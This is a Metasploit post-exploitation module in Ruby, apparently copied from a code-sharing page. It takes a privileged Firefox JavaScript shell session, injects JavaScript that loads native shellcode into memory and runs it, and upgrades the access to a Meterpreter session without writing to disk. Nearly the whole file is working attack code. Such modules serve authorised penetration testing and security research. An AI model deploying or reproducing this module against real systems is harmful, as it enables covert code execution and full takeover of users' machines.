Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
class MetasploitModule < Msf::Exploit::Local
8
  Rank = ExcellentRanking # Missing autodetection, but has widespread targetability
9

10
  include Msf::Payload::Firefox
11
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
12

13
  def initialize(info={})
14
    super(update_info(info,
15
      'Name'          => 'Firefox Exec Shellcode from Privileged Javascript Shell',
16
      'Description'   => %q{
17
        This module allows execution of native payloads from a privileged Firefox Javascript shell.
18
        It places the specified payload into memory, adds the necessary protection flags,
19
        and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter
20
        session without touching the disk.
21
      },
22
      'License'       => MSF_LICENSE,
23
      'Author'        => [ 'joev' ],
24
      'Platform'      => [ 'firefox' ],
25
      'DisclosureDate' => '2014-03-10',
26
      'Targets'       => [
27
        [
28
          'Native Payload', {
29
            'Platform' => %w{ linux osx win unix },
30
            'Arch'     => ARCH_ALL
31
          }
32
        ]
33
      ],
34
      'DefaultTarget' => 0
35
    ))
36

37
    register_options([
38
      OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
39
    ])
40
  end
41

42
  def exploit
43
    print_status "Running the Javascript shell..."
44
    session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
45
    results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
46
    print_warning(results) if results.present?
47
  end
48

49
  def js_payload
50
    %Q|
51
      (function(send){
52
        try {
53
          #{run_payload}
54
          send("Payload executed.");
55
        } catch (e) {
56
          send(e);
57
        }
58
      })(send);
59
    |.strip
60
  end
61
end
62

63